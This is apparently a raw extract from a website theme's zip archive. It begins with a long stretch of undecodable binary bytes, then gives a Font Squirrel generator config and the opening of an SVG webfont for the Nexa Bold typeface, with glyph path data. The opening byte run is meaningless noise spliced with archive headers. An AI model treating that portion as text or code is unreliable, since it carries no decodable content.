�b��2��*��{��e/����+�)��1>O.����H־��]�Ů7c}�h��aZQ�䡁�-����z��7Ƒ�R��Y�D,��=�$$�3��K�^�a�ãi����g��u\��D�q����3ƾ���w��5�/�=��7B�ug��s���?+4~i�x׳�\����G�ȴ]���w�l�m��*e����o^Nki�o���JJA:3#��P"��80jl���9�p%C�3�����������":_��M��#�U'�����gl�Ω󕊔�1e��Bc�+_]y��|��=X7�,-^y<�`{�iQr8�ʝ�4=�H�AL#�����*���΃A���"(���vGԊ����X�a1�!��	e�w��� e����\|���<�bx���k�-1��t5Du,�'��B�$#g���X�T��W�+��Z���$������b:b�&�(F^y]ݥ�6$Jk�3��-���Co.z�/��ː;{ǃ��|�
�O���Hn̡^z��M挩��۟�ze[[�/�}��M��0����-�*���-�n���}�
�)f�_����!��W�ܧ�a�f��H�_��ud�:畎:������_�ʵ`��r|�#�?ߋ~ô�f9{5�}��7�ݝo�:@1.�!#6�f����{K���܍u�v��!������W�Zy�	+�ʕ�#8��I��X�r��Ǵ��/���ᚻ��Ɍ^3f��o'qB��ĩ��؟�캫������嗦���f!\��
\w�j��{�F.95Ni���secc��9;+kv�7f�+�BO�?���UǙd�3�t��GӇ��trz!�k*p\��c.P���4�vG���<8]���H�����?����cs2�'�����#յ7�����S~���q3Vt&߾`nM;�Y�I��o~�&Oi磿�'������w�>������-(�U�]�B��ֻ�
\S_��$�g�\ս����&c�jhC�K7$m��\>�)[�tl�Ҋ���\�y�g�
��͂����Z�?���Ż�i}��m����]i��$��o
������r[��)�=��/��6�E>����M��C9~�<K�r��	{�Օo/�����<ԍtN��8�#�i1��5�鸎�+��HV�u��sg���`�UwȊ���;��~h�Gx�gس�!��)p�r��9]�+��	2�ju
ȱ�U�3FFG�⮤4
m޴,Y�Ր,r�d��ڷ��<�{�t�i�w���+Jb����-ўf?��2��7�</�S�:�J@��:a4�bN)t^x[TU]�����+��6����~�G6j�+Lv���vK��[��J�M�_�
���l��b��� <���������90�J�^����4t���d�'{EFk	�kyF��f/��r��)�,�T�;7vd]���GR�EMFZj�̗�i�K�����Eg���o2N�#�6�v}/w�l$��o�����s�@���|��Ή�u�ꔠ��Z�MD�5�A73�\��d:����o����r�?�ۑ���f������a�q�\fv6*<�	tz^���t��4���B͗t�
�������L�|��j��
e9�ַ�I+j�2��[�?��ݸpᜥҟ?�2F����M���C8q�|��z�+�-�L��v�d��/�|x�J���0���ӯ,�ȿm��2���`�Ǡ
CS�j4�p�ӱ�@tҵ26_���1ֶ�8���2QӪj�a��Q0�����!gV�w����#�R:DC�CC4���o
�T���;rR#&ahT�E�2��
� <BLj&��?	 8a
�V�]�$�Pfm���u�P�e��߯8Q����x�����䙷β��?�}9���&��?e'>I�0&]���2c��P�e��H�T����^	�����c_~�\�w�i*�\�G�`�~d��Ð�)p�2
7����������%�oV��4�]oa"FJZe�&O9:�D^=9p|1��[Z��ɼ{Kw�?NjRxZz�d�-Ǵ��1-p�uR�Iuc�rs�����ԭ�+N�ɓ;�TQ:�*�[�+L�*5��^��V����Y����X��[�C��_���xha9_�PF�jU自Um��Q�K&�
c�H�%�,ͦ�ϲ2�'#	�R4�h�r�>]NHґ�����z}ʳ����v[���%O
�d���EL�*�#M#e�}��X�::`?��:1������>������Xuh6ѣE�'�cF0S�u��3�8�.=,c�x��`Q���T���Q5���B͐�&���k~zv���\�@"{l���O�\70�޳�N?~����Y�a�;�n�b�?�f�k���^xg�M�,1�0NX��˲]�5xA�!�f<L!������;��Y���B}@�W�	�ŗ���j�p"#���(+N���Y�x�X0���������&����+
�Xy:�Ŏ��q��g�09x�/����dx�_
�IS��F��)��Trp�t�#�C����[kxF�c��#O���>���C��@����>+��s^��G�F�ԣ��i�Ώ�b��ʹIc�;�y�C����Wϝ? �F�����R���}�=�%Jx8!�1B�L˒1ʹ6sڴ�r�O|������~L}��X��b:zDA$��2��QY�@<ӈg�G�כ����-��b�v7K�P���#�g�c�r#�,�V�>�Reܫ��汳G��ky�@�b0N�1Y��u���֠'�F愡z���̉pJq͉|W��g5@��ǿ緇k�}l�E�w�V�)�}�o�*�o�SIP�|?uxV�a��k[�c�I�k�޶�`��a���{��W�[rJdG���k��(��緙Yf:���0�_��r�����A��d<^�B'm�T"a�m��-�M�"�P
,�x��ﻇ����e��5x�Im�׌���%����ЃM��p0���)S��u61MQߙ�|te�nK+�iJ��!�&p6�xh�����~�pSƋ1�M�����W�`�h�'c8z1�S罙]j/��&;�ݷof��7=���oDMgp@�Ԛ1��u�;T�Q��0xu�:[�&;���Űs� QJ�/R����Ѿ�����9zÜ�3�E<:���^�6T��,�o�h��
�x��ڢ�ғ��Җh��s�%c
qgT�H>��jѽ6���&||�(]���Tx;��N�n瀌�M���l%h�Q���>����dz�5�KJu@f�U�
���BT_��N���Imx=x�3���)\#n��	����8�.%���m��k��F�`@I�w���m�D<���!�$�{Z�t�vy��dr18��W��������ԭ[]}d�Л�����g��0M��^���l�'��.�cI��c'6� �D��k6�*���{�(�hnK�!s�n��x��!@���`�)5�`��
xt)W=�\^�@�Ϳf���E�6J�?g������V�7שl��ɶ��1�+I�'O��
�����v!k
�k-�;�2��<��$VUy�&3�F'v�\W�p�XBxu5���0�)$*�Љ0�4x�{�gOL��"�|�!A�EѨT��|�Lߺ{�d��t�$��Ve��泹��$I�w��:O\����*�O�Wx�*Wy,ΘO��t:���zJ�8�T����ՀaS*mOjH�Cғ����>��=��:�qH�X��?��3��0ݚe+���7�?�\���B�v���U�- x�c`d``b���6_�9@�\�An�_�o.�<{���2h
�x�c`d``��������3�@��fGx�m�_H�QƟs�{�1�!԰,�
/$Dd����H�����1�����2��HWBa"�	/$�ȋ."�J$��0��(/���/~��;�x��}�+�>.���"���/;���׸`_�*�)�s��j݃�x�T��j�cHM�Ō:�m��Y��5t�
4�S(�'q�^AR^ bp��ѡq���
D�wd�zl-��42v�ac��l#�9YF�n���j�k}h�q�%��g��s�{�xw��Dm�8'�(��y6��^�E�ٓOfQ��=��}���
{U[|�M4�/dŏzf�(�h0�t#,w�U9t�	�ʌs<����{g�
�e����Jd�ԛ��Z��
���q�D�)��7k�3�@���~�q��7��c��2҆��G�{9��v���y����
��K
�,ä́1������c��MH�&�x.�gVc$�~f�Y��Ot�/A-8�t0�:I������Bkы�:��IY�`1�#�u���)*�|Si:�t�Ԕ�V^!�?�C�O�Nܱ�:��!�z�!�C���Ę�"�o7pP�-��H���0k�{��I��]ͣKͰG�zz�z��y�a��gua�rzt���m�o��`��x�c``Ё�0�&�&�+�M̋�/0�c�cY�r���V�$�il\l��n���?�`����ę�9�s�=.�
n3��<<<Gx~���=�'��Ɨ÷��	�	�
�$�I��	E�	z',#�%#�&<Ox���H��Q��{bb�^���׈ϒ`�p�� �J�E�Nꖴ�t��,�2z2a2-2dyd�dg�95��u�O�(�P�S|�$����@YG�B��J�J��>�[�z�I��Tߩ��˩��H�X�qD�f���/ZZǴy�u���{��h���б�Y�˦[�{O/@�~��2�"�=�\��=���2�n�3�39g�b&b�e��<��E��$�=/,e,{�$�J��XXo�Q�	�9b+e�c{�N���n���)�8�.�8�3�/�L�R�F��y���8~s2sJr�����8=q�r��|�Eå��4�\�xڕRMK�@}I�GUDz� {�PA4��ғ"��((��&Mk0m��E���<�?��x��t����,���͛ٙl��
%XN��{�-��a�x6��}��`_�`��bժ<�+�j�<6�'��į/�i���m�1x��5����O���Hp�G��dP�"�m
.<n�
�s�R� E�=�E�b����vR-/�
iu~���VP8ʕg亸�ʃ��&75�WT���\+��_w\HO)�	��z�̕5Ξ�׋d>�f���l!{Եo�%��M�O��l�}�OOяeN��.SA��P�F�Ց�3v�g�4��5�;��EP��1��%o�s��6E�pJ݈��tY�N��z��{?���x�m�Gp�q���lv�M�U�Do�n6����{
Iv�Hbc��.ƌ��`�:��2\�>����.�y���g"���>j�_ރDH$�X�Š�hb�K�$�Hɤ�J�d�I��K�H':�O
(�+��Nzҋ��/�菆���"�SB)e` �(g0C�7è����T2���b4c�8�3��Lb2S��4�3���b6s��<�S%���f���la7��G%�ld�X��.�q�w�A����'��]N���졚��p�<��y����^����w�򚗼��g���EX���
,�� M�X�rV���լ��+fkY����,�x�[���J��K�$J�$K��J��K�8�%.s�\�[9!���dI6;%Gr%��kn��P}@Ӵ
S��T��P:�e����4�e�ҩ,V�(K����Lu�W��_(XS]��7[����xB���£���;�����x�E�;�@�]V�!`��&c�7��
��xKkK���2ƻ����7�̍?ď�&մ��t[IՌ)�5�k���T���(JjA^Q^��QH�����:Eyg.�����=��?��S`�C���Q��v`���.�=0^Z&`of����2�U��?j���J�RX�PK!-��

0bluetheme/assets/fonts/Nexa/generator_config.txtnu&1i�# Font Squirrel Font-face Generator Configuration File
# Upload this file to the generator to recreate the settings
# you used to create these fonts.

{"mode":"optimal","formats":["ttf","woff","eotz"],"tt_instructor":"default","fix_vertical_metrics":"Y","fix_gasp":"xy","add_spaces":"Y","add_hyphens":"Y","fallback":"none","fallback_custom":"100","options_subset":"basic","subset_custom":"","subset_custom_range":"","css_stylesheet":"stylesheet.css","filename_suffix":"-webfont","emsquare":"2048","spacing_adjustment":"0"}PK!����f�f�1bluetheme/assets/fonts/Nexa/nexa_bold-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="nexa_boldregular" horiz-adv-x="1533" >
<font-face units-per-em="2048" ascent="1536" descent="-512" />
<missing-glyph horiz-adv-x="413" />
<glyph horiz-adv-x="0" />
<glyph unicode="&#xd;" horiz-adv-x="2048" />
<glyph unicode=" "  horiz-adv-x="413" />
<glyph unicode="&#x09;" horiz-adv-x="413" />
<glyph unicode="&#xa0;" horiz-adv-x="413" />
<glyph unicode="!" horiz-adv-x="608" d="M123 147q0 45 18 80t47 53t64 26.5t70 0t64 -26.5t47 -53t18 -80q0 -44 -18 -79t-47 -53t-64 -26t-70 0t-64 26t-47 53t-18 79zM152 375v1057h268v-1057h-268z" />
<glyph unicode="&#x22;" horiz-adv-x="888" d="M131 881v549h227v-549h-227zM496 881v549h229v-549h-229z" />
<glyph unicode="#" horiz-adv-x="1476" d="M29 276v240h217l94 375h-170v235h225l76 308h274l-75 -308h223l78 308h272l-76 -308h148v-237h-207l-96 -373h162v-240h-218l-67 -276h-275l68 276h-225l-68 -276h-272l67 276h-155zM496 502h258l102 405h-258z" />
<glyph unicode="$" horiz-adv-x="1591" d="M74 311l241 103q40 -96 158 -155.5t250 -59.5q72 0 133.5 12.5t112 38.5t79.5 70t29 102q0 49 -28.5 86t-81.5 60t-112.5 37.5t-137.5 23.5q-57 6 -97.5 12t-93 16t-90.5 21t-81 29t-73 40t-59.5 52.5t-47 67t-28 83.5t-10.5 103q0 97 40 174t109 126.5t150.5 79 t175.5 40.5v178h260v-178q70 -11 128 -29.5t115 -50t103.5 -82.5t79.5 -119l-221 -102q-40 66 -140 110.5t-206 44.5q-67 0 -123 -10t-102.5 -32t-73 -60t-26.5 -90q0 -33 12 -59t37 -44t52 -30.5t70 -22t77 -14.5t85 -11q60 -7 100.5 -13t97.5 -17t96 -23t86.5 -31.5 t79.5 -42t64.5 -55t51.5 -71t31 -88.5t12 -109q0 -100 -40 -183.5t-108 -139t-154.5 -88.5t-183.5 -40v-204h-260v194q-183 16 -326 102.5t-212 247.5z" />
<glyph unicode="%" horiz-adv-x="1585" d="M58 1138.5q0 60.5 21.5 118t61.5 103t105 73t145 27.5t145 -27.5t105 -73t61.5 -103t21.5 -118t-21.5 -118t-61.5 -103t-105 -73t-145 -27.5t-145 27.5t-105 73t-61.5 103t-21.5 118zM158 -2l944 1438h289l-942 -1438h-291zM264 1100.5q8 -39.5 42.5 -67t84.5 -27.5 t84.5 27.5t42.5 67t0 79t-42.5 67t-84.5 27.5t-84.5 -27.5t-42.5 -67t0 -79zM836 307.5q0 60.5 21.5 118t61.5 103t105 73t145 27.5t145 -27.5t105 -73t61.5 -103t21.5 -118t-21.5 -118t-61.5 -103t-105 -73t-145 -27.5t-145 27.5t-105 73t-61.5 103t-21.5 118zM1042 266.5 q8 -39.5 42.5 -67t84.5 -27.5t84.5 27.5t42.5 67t0 79t-42.5 67t-84.5 27.5t-84.5 -27.5t-42.5 -67t0 -79z" />
<glyph unicode="&#x26;" horiz-adv-x="1484" d="M115 436q0 93 62 179.5t159 119.5q-91 29 -142 114t-51 177q1 88 33.5 161.5t86 122t125 82.5t147.5 49t155 15t150.5 -12t141 -42t119.5 -75t81 -116t32 -160h-256q0 63 -39.5 103.5t-98.5 56.5t-136 16q-75 0 -132 -19t-87.5 -50t-45 -64.5t-13.5 -67.5q0 -51 29 -89.5 t74 -58.5t88.5 -29t84.5 -9h672v-213h-119v-209q0 -68 32 -112t97 -44v-268q-36 0 -65 3.5t-62.5 15.5t-59 32t-48 55t-35.5 82q-122 -200 -410 -200q-98 0 -179.5 13t-155 45t-124 83t-80 130.5t-30.5 182.5zM381 434q0 -72 44.5 -121.5t109.5 -69.5t145 -20q40 0 88 11 t97 32.5t81.5 62t32.5 91.5v207h-311q-138 0 -212.5 -59.5t-74.5 -133.5z" />
<glyph unicode="'" horiz-adv-x="438" d="M92 883v549h227v-549h-227z" />
<glyph unicode="(" horiz-adv-x="708" d="M59 674q0 265 125 510.5t357 402.5l125 -168q-171 -136 -260 -329.5t-89 -415.5q0 -465 349 -740l-136 -182q-155 102 -263 255t-158 321.5t-50 345.5z" />
<glyph unicode=")" horiz-adv-x="727" d="M25 1419l125 168q232 -157 356.5 -402t124.5 -511q0 -177 -50 -345.5t-158 -321.5t-263 -255l-131 187q344 271 344 735q0 222 -88.5 415.5t-259.5 329.5z" />
<glyph unicode="*" horiz-adv-x="702" d="M-10 1155l57 191l189 -72l-11 192h195l-21 -196l201 76l53 -191l-196 -39l143 -160l-154 -114l-122 178l-121 -178l-156 114l135 160z" />
<glyph unicode="+" horiz-adv-x="958" d="M31 598v227h301v305h248v-305h305v-227h-305v-307h-248v307h-301z" />
<glyph unicode="," horiz-adv-x="509" d="M88 113q0 54 30 89.5t72.5 43t85.5 -2.5t73 -47t30 -90q0 -19 -10.5 -54t-81.5 -253h-142l39 203q-44 8 -70 36.5t-26 74.5z" />
<glyph unicode="-" horiz-adv-x="937" d="M72 553v229h755v-229h-755z" />
<glyph unicode="." horiz-adv-x="495" d="M76 129q0 40 16.5 71.5t42.5 48t57 24t62.5 0t57.5 -24t42.5 -48t16.5 -71.5t-16.5 -71.5t-42.5 -48t-57 -24t-62.5 0t-57.5 24t-42.5 48t-16.5 71.5z" />
<glyph unicode="/" horiz-adv-x="931" d="M-25 -168l682 1737h263l-684 -1737h-261z" />
<glyph unicode="0" horiz-adv-x="1425" d="M61 614v207q0 155 54 280t142.5 202t201.5 118.5t231 41.5t231 -42t201.5 -118.5t142.5 -202t54 -279.5v-207q0 -204 -93 -354t-233 -217.5t-303 -67.5t-303 67t-233 217.5t-93 354.5zM330 614q0 -94 31 -170t81.5 -123t115.5 -72t132.5 -25t132.5 25t115.5 72t81.5 123 t31 170v207q0 93 -31 168t-81.5 121.5t-115.5 71.5t-132.5 25.5t-132.5 -24.5t-115.5 -71t-81.5 -121.5t-31 -169.5v-207z" />
<glyph unicode="1" horiz-adv-x="755" d="M10 1188v246h492v-1205h198v-229h-682v229h215v959h-223z" />
<glyph unicode="2" horiz-adv-x="1341" d="M76 0v377q0 96 33.5 171t89 122.5t132 78.5t157 43.5t169.5 12.5q32 0 61 2.5t66.5 8.5t67.5 19t56.5 32.5t41.5 50.5t15 71q0 112 -90.5 171t-235.5 59q-72 0 -136.5 -22.5t-108 -69.5t-44.5 -109h-268q1 88 33 161t86 123t126 84.5t149.5 50t158.5 15.5q90 0 173 -14.5 t161.5 -49t136 -85.5t92.5 -130.5t35 -177.5q0 -106 -32 -185t-83.5 -126t-129 -75t-155.5 -38t-176 -10q-52 0 -100 -7.5t-99 -26.5t-81.5 -58t-30.5 -94v-123h891v-252h-1161z" />
<glyph unicode="3" horiz-adv-x="1339" d="M23 420h272q0 -52 32 -92.5t82 -62.5t101.5 -33t99.5 -11q55 0 108.5 12t102.5 35.5t79 66t30 97.5q0 193 -305 193h-224v221h207q58 0 108.5 8.5t95 27t70.5 53.5t27 83q0 33 -14.5 64.5t-46.5 61t-92 47t-142 17.5q-51 0 -101 -9.5t-95.5 -29t-74 -55t-28.5 -82.5h-270 q0 89 34.5 162t90.5 120.5t131 79.5t154 46t161 14q83 0 162 -15.5t152.5 -50.5t128 -84.5t87.5 -123.5t34 -162q0 -89 -54.5 -172t-144.5 -111q101 -33 167 -120.5t66 -180.5q0 -101 -37 -181t-96.5 -130.5t-140.5 -83.5t-162.5 -46t-169.5 -13q-85 0 -165.5 14 t-157.5 47.5t-134 82.5t-92 125.5t-36 170.5z" />
<glyph unicode="4" horiz-adv-x="1390" d="M63 547l646 885h411v-897h168v-263h-168v-272h-266v272h-766zM369 535h485v663z" />
<glyph unicode="5" horiz-adv-x="1288" d="M74 432h268q0 -56 29.5 -97t78.5 -62t100 -30.5t107 -9.5q52 0 102 13t95 39t72.5 72.5t27.5 107.5q1 58 -25.5 100.5t-72.5 65t-98 33t-111 10.5h-543v758h1039v-254h-774v-252h278q119 0 219.5 -25.5t182.5 -78.5t128.5 -144t45.5 -213q0 -95 -30.5 -175t-83.5 -135.5 t-124.5 -94.5t-153 -57.5t-169.5 -18.5q-98 0 -182 14t-160 47t-129.5 83.5t-84.5 128t-32 175.5z" />
<glyph unicode="6" horiz-adv-x="1355" d="M59 457v534q0 93 33 171t89.5 132t132.5 92t160.5 56t174.5 18q120 0 223.5 -24.5t186.5 -74t130.5 -133t47.5 -192.5h-270q0 61 -47 105.5t-117 65t-150 20.5q-130 2 -227.5 -64.5t-97.5 -177.5v8v-215q45 69 142 110.5t189 41.5q75 0 144.5 -11t137 -33.5t123 -61 t98 -89.5t66 -123t23.5 -159q0 -114 -52 -207t-137.5 -150.5t-189.5 -88t-215 -30.5q-113 0 -217.5 30.5t-190.5 88t-138 151.5t-52 210zM328 453q1 -113 95 -173.5t234 -60.5q137 0 231.5 61t94.5 173q0 114 -91.5 177.5t-232.5 63.5q-143 0 -237.5 -63t-93.5 -178z" />
<glyph unicode="7" horiz-adv-x="1167" d="M41 1176v258h1053l14 -144l-643 -1290h-311l585 1176h-698z" />
<glyph unicode="8" horiz-adv-x="1390" d="M41 432q2 91 58.5 178t160.5 129q-89 48 -134.5 122.5t-45.5 160.5q0 105 46 189.5t126 137.5t183.5 81t221.5 28q117 0 222.5 -28.5t187.5 -81.5t130 -137.5t48 -188.5q0 -81 -46.5 -157t-137.5 -113q70 -28 120.5 -84.5t73 -116.5t23.5 -119q2 -97 -31.5 -176.5 t-92 -132.5t-139.5 -89t-170.5 -52t-187.5 -15q-96 1 -184 16.5t-168.5 51.5t-139 88.5t-92.5 131.5t-32 177zM324 428q-2 -88 88 -151.5t247 -63.5t247.5 63t88.5 152q-1 68 -48 115.5t-121 68.5t-167 21q-88 0 -161.5 -21t-123 -69t-50.5 -115zM356 1030q3 -91 91.5 -146 t211.5 -55q128 0 214.5 54.5t89.5 146.5q3 90 -83 146.5t-223 56.5q-143 0 -223.5 -61.5t-77.5 -141.5z" />
<glyph unicode="9" horiz-adv-x="1382" d="M59 985q0 92 34 170.5t92 134t134 94.5t161 57.5t173 18.5q113 0 217.5 -30.5t190.5 -87.5t138 -151t52 -210v-535q0 -93 -33 -171t-89.5 -132t-132 -92t-160 -56t-174.5 -18q-96 0 -182 15t-162 48t-131.5 81.5t-88 120t-32.5 159.5h270q0 -60 49 -104.5t120.5 -65 t151.5 -20.5q130 -2 228 64.5t98 177.5v-9v215q-45 -69 -142.5 -110t-189.5 -41q-75 0 -144.5 11t-137 33.5t-123 61t-98 89.5t-66 123t-23.5 159zM328 985q0 -114 91 -178t232 -64q143 0 238 63.5t94 178.5q-1 76 -47.5 130t-119 79t-163.5 25q-137 0 -231 -61t-94 -173z " />
<glyph unicode=":" horiz-adv-x="485" d="M92 129q0 55 30 92.5t72.5 46.5t85.5 0t73 -46.5t30 -92.5q0 -39 -16 -69.5t-41.5 -46.5t-56.5 -23.5t-62.5 0t-57 23.5t-41.5 46.5t-16 69.5zM92 723q0 55 30 92.5t72.5 46.5t85.5 0t73 -46.5t30 -92.5q0 -39 -16 -69.5t-41.5 -46.5t-56.5 -23.5t-62.5 0t-57 23.5 t-41.5 46.5t-16 69.5z" />
<glyph unicode=";" horiz-adv-x="532" d="M88 113q0 54 30 89.5t72.5 43t85.5 -2.5t73 -47t30 -90q0 -19 -10.5 -54t-81.5 -253h-142l39 203q-44 8 -70 36.5t-26 74.5zM92 723q0 55 30 92.5t72.5 46.5t85.5 0t73 -46.5t30 -92.5q0 -39 -16 -69.5t-41.5 -46.5t-56.5 -23.5t-62.5 0t-57 23.5t-41.5 46.5t-16 69.5z " />
<glyph unicode="&#x3c;" horiz-adv-x="792" d="M39 629v30l471 467l162 -159v-13l-324 -311l324 -309v-12l-162 -160z" />
<glyph unicode="=" horiz-adv-x="874" d="M41 338v225h747v-225h-747zM41 694v228h747v-228h-747z" />
<glyph unicode="&#x3e;" horiz-adv-x="813" d="M80 322v12l323 309l-323 311v13l162 159l471 -467v-30l-471 -467z" />
<glyph unicode="?" horiz-adv-x="1269" d="M53 1004q1 110 45.5 195.5t121 137.5t173 78.5t207.5 26.5q89 0 169 -15t151 -49t122 -83t80 -122.5t27 -162.5q0 -71 -21 -128t-53 -92t-77.5 -65.5t-85 -47.5t-85 -38t-69.5 -37q-78 -52 -78 -190v-11h-270v13q1 81 15 144.5t32.5 101.5t53 70.5t58 47.5t66.5 37 q24 13 65 30t65.5 29t51 31t39 45.5t12.5 61.5q0 56 -24 96.5t-65.5 60.5t-85.5 28.5t-97 8.5q-67 0 -127 -23t-100 -70t-41 -109h-275zM379 154q0 52 24.5 90t60.5 55t79 17t79 -17t60.5 -55t24.5 -90q0 -51 -24.5 -89t-60.5 -55t-79 -17t-79 17t-60.5 55t-24.5 89z" />
<glyph unicode="@" horiz-adv-x="1955" d="M88 498q0 157 47 292t128.5 232t190.5 165.5t234.5 102t259.5 33.5q186 0 342.5 -51t274 -149t184 -254t66.5 -355q0 -247 -98.5 -390.5t-276.5 -143.5q-34 0 -67 9t-66 29t-53.5 60.5t-20.5 95.5q-16 -44 -52 -80.5t-79.5 -57t-86 -31.5t-77.5 -11q-224 0 -374 142 t-150 362q0 219 151 364.5t371 145.5q84 0 167.5 -46.5t117.5 -111.5l16 104l193 -26v-703q0 -24 12 -35t28 -6q52 13 83.5 110.5t31.5 219.5q0 132 -30.5 235t-85 172t-135 113.5t-175.5 64t-211 19.5q-94 0 -184 -25t-171 -77t-142 -124t-96.5 -174t-35.5 -220 q0 -129 36 -232t95.5 -170t141 -111.5t167 -63.5t179.5 -19q174 0 291 71l94 -178q-173 -102 -391 -102q-129 0 -248.5 29t-229 92.5t-190 155.5t-128.5 228t-48 300zM653 500q0 -75 30.5 -139t97.5 -106t159 -42q134 0 208.5 84.5t74.5 212.5q0 122 -72.5 201.5 t-208.5 79.5q-135 0 -212 -87t-77 -204z" />
<glyph unicode="A" d="M-47 0l643 1434h295l643 -1434h-295l-121 270h-749l-123 -270h-293zM477 522h533l-267 611z" />
<glyph unicode="B" horiz-adv-x="1398" d="M92 0v1434h680q108 0 197 -25t156 -74.5t104 -130t37 -186.5q0 -88 -46 -161.5t-141 -115.5q59 -18 106 -58t72.5 -87.5t38.5 -92t13 -81.5q0 -116 -41.5 -200t-117 -131.5t-168.5 -69t-210 -21.5h-680zM358 252h414q46 0 89.5 8.5t85.5 26.5t67.5 53.5t25.5 83.5 q0 61 -44.5 107.5t-104.5 68t-119 21.5h-414v-369zM358 858h414q119 0 172 43t53 111q0 27 -11.5 55.5t-36 56.5t-70.5 46t-107 18h-414v-330z" />
<glyph unicode="C" horiz-adv-x="1351" d="M59 707v8q0 111 28 215q29 108 90.5 205t149.5 169.5t214.5 115t277.5 42.5q148 0 283 -55.5t244 -163.5l-181 -174q-69 67 -159 101t-187 34q-125 0 -222.5 -43.5t-154.5 -115.5q-58 -73 -88 -159q-29 -84 -28 -173v-6q1 -93 29 -177t84.5 -154.5t154.5 -112.5t225 -42 q96 0 194 38.5t167 107.5l184 -187q-216 -213 -545 -213q-155 0 -282.5 41.5t-214.5 111.5t-147 165.5t-87.5 201t-28.5 220.5z" />
<glyph unicode="D" horiz-adv-x="1439" d="M82 0v1434h563q143 0 262.5 -39.5t201.5 -106.5t139.5 -158t84.5 -191.5t29 -209.5v-16q0 -102 -24 -199q-26 -104 -82.5 -198t-139 -164t-204 -111t-267.5 -41h-563zM350 260h295q118 0 208 40.5t142 108.5q53 67 77 149q23 75 22 159v14q-2 87 -29.5 164.5t-80 142 t-140 102.5t-199.5 38h-295v-918z" />
<glyph unicode="E" horiz-adv-x="1277" d="M96 0v1434h1073v-263h-804v-329h776v-252h-776v-324h804v-266h-1073z" />
<glyph unicode="F" horiz-adv-x="1216" d="M100 0v1432h1030v-261h-759v-391h719v-250h-719v-530h-271z" />
<glyph unicode="G" horiz-adv-x="1492" d="M43 698q0 154 48.5 292t140 247t238.5 173.5t331 64.5q147 0 285 -56.5t247 -163.5l-168 -172q-71 68 -169.5 106t-194.5 38q-150 0 -263.5 -71t-172 -190.5t-58.5 -267.5q0 -73 17 -140.5t55 -130t94 -108t140.5 -73t187.5 -27.5q90 0 166 25.5t157 89.5v254h-366v241 h614v-604q-110 -127 -249 -192.5t-322 -65.5q-157 0 -285.5 40t-215 108.5t-145.5 162.5t-85.5 199t-26.5 221z" />
<glyph unicode="H" horiz-adv-x="1499" d="M102 -2v1434h271v-605h704v605h269v-1434h-269v580h-704v-580h-271z" />
<glyph unicode="I" horiz-adv-x="524" d="M102 0v1434h269v-1434h-269z" />
<glyph unicode="J" horiz-adv-x="1456" d="M43 596h266q0 -371 363 -371q177 0 268.5 107.5t91.5 279.5v570h-432v252h703v-822q0 -186 -74.5 -330.5t-219 -227.5t-337.5 -83q-138 0 -253 41t-199 118.5t-130.5 197t-46.5 268.5z" />
<glyph unicode="K" horiz-adv-x="1341" d="M100 0v1434h271v-607l544 607h336v-9l-637 -686l691 -723v-16h-334l-600 635v-635h-271z" />
<glyph unicode="L" horiz-adv-x="1198" d="M100 0v1434h271v-1184h737v-250h-1008z" />
<glyph unicode="M" horiz-adv-x="1773" d="M102 -2v1434h312l448 -617l449 617h309v-1434h-270v1040l-467 -622h-54l-456 624v-1042h-271z" />
<glyph unicode="N" horiz-adv-x="1460" d="M121 0v1434h219l702 -889v891h271v-1436h-168v-2l-754 969v-967h-270z" />
<glyph unicode="O" horiz-adv-x="1607" d="M37 707q0 115 28.5 223.5t88.5 205t145.5 169t208 115t266.5 42.5t266 -42.5t208 -115t146 -168.5t88 -204q27 -105 27 -215v-8q-1 -114 -29 -220t-87 -201.5t-143 -166.5t-206.5 -112.5t-269.5 -41.5t-269.5 41t-208 111t-145 164.5t-87 201.5t-27.5 222zM303 702 q2 -74 18.5 -141.5t53 -131.5t89 -111t132.5 -75t178 -28t178 28.5t132.5 76t88.5 111.5t52.5 132t17.5 142v9q-1 70 -15 138q-16 72 -52 138t-89.5 116.5t-134 80.5t-178.5 30t-179 -30.5t-135 -81t-91 -117.5t-53 -139q-14 -64 -13 -130v-17z" />
<glyph unicode="P" horiz-adv-x="1384" d="M100 0v1434q112 0 338 1t338 1q127 0 229.5 -43.5t165.5 -115t97 -162.5q35 -92 35 -189q-1 -94 -35 -183q-34 -91 -97 -162.5t-165.5 -115t-229.5 -43.5h-405v-422h-271zM371 670h405q63 0 113.5 22t81.5 57.5t47.5 81t16.5 93.5t-17 93.5t-48 81t-81.5 57.5t-112.5 22 h-405v-508z" />
<glyph unicode="Q" horiz-adv-x="1601" d="M33 719v8q0 110 27 213q27 108 86.5 204.5t145 168t208.5 113.5t270 42t269 -41t206 -110.5t143 -164t87 -199.5t30 -218v-12q0 -262 -133 -455l170 -168l-190 -190l-174 172q-167 -107 -408 -107q-148 0 -271.5 41.5t-208 112.5t-143.5 167t-86 202.5t-28 220.5z M299 713q1 -72 20 -141.5t58 -132.5t93.5 -110.5t132 -75.5t167.5 -28q117 0 210.5 46t150 121t84.5 166q25 80 25 162q0 11 -1 23q-3 73 -19.5 139.5t-52.5 130t-88 110t-131.5 74.5t-177.5 28q-121 0 -215.5 -45.5t-149 -120.5t-81.5 -163q-25 -83 -25 -170v-13z" />
<glyph unicode="R" horiz-adv-x="1382" d="M102 0v1436q114 0 341 -1t341 -1q123 -1 222.5 -40.5t163 -105.5t97 -151t33.5 -179q0 -78 -19 -146.5t-59.5 -131t-113 -107.5t-170.5 -65l434 -490v-18h-321l-418 479h-260v-479h-271zM373 723h411q121 0 183.5 67t62.5 162t-63 162.5t-183 67.5h-411v-459z" />
<glyph unicode="S" horiz-adv-x="1353" d="M18 315l226 117q45 -113 154.5 -170t248.5 -57q66 0 123.5 12t105 36.5t74.5 67.5t27 99q0 176 -332 211q-69 8 -124 18t-115 27t-106 39t-88.5 55t-69.5 74t-43.5 97.5t-16.5 123.5q0 106 49 188.5t130.5 131t177 73t198.5 25.5q422 0 563 -285l-215 -111 q-39 65 -133.5 112.5t-206.5 47.5q-145 0 -221 -53t-76 -137q0 -45 24.5 -77.5t72.5 -52.5t99 -31t124 -19q70 -9 126.5 -19t118.5 -28t108.5 -41t90 -57.5t71.5 -78t45 -102.5t17 -131q0 -93 -32 -169.5t-88 -129.5t-132.5 -89t-164 -52.5t-185.5 -16.5q-114 0 -207.5 18.5 t-174.5 59t-142.5 109.5t-100.5 165z" />
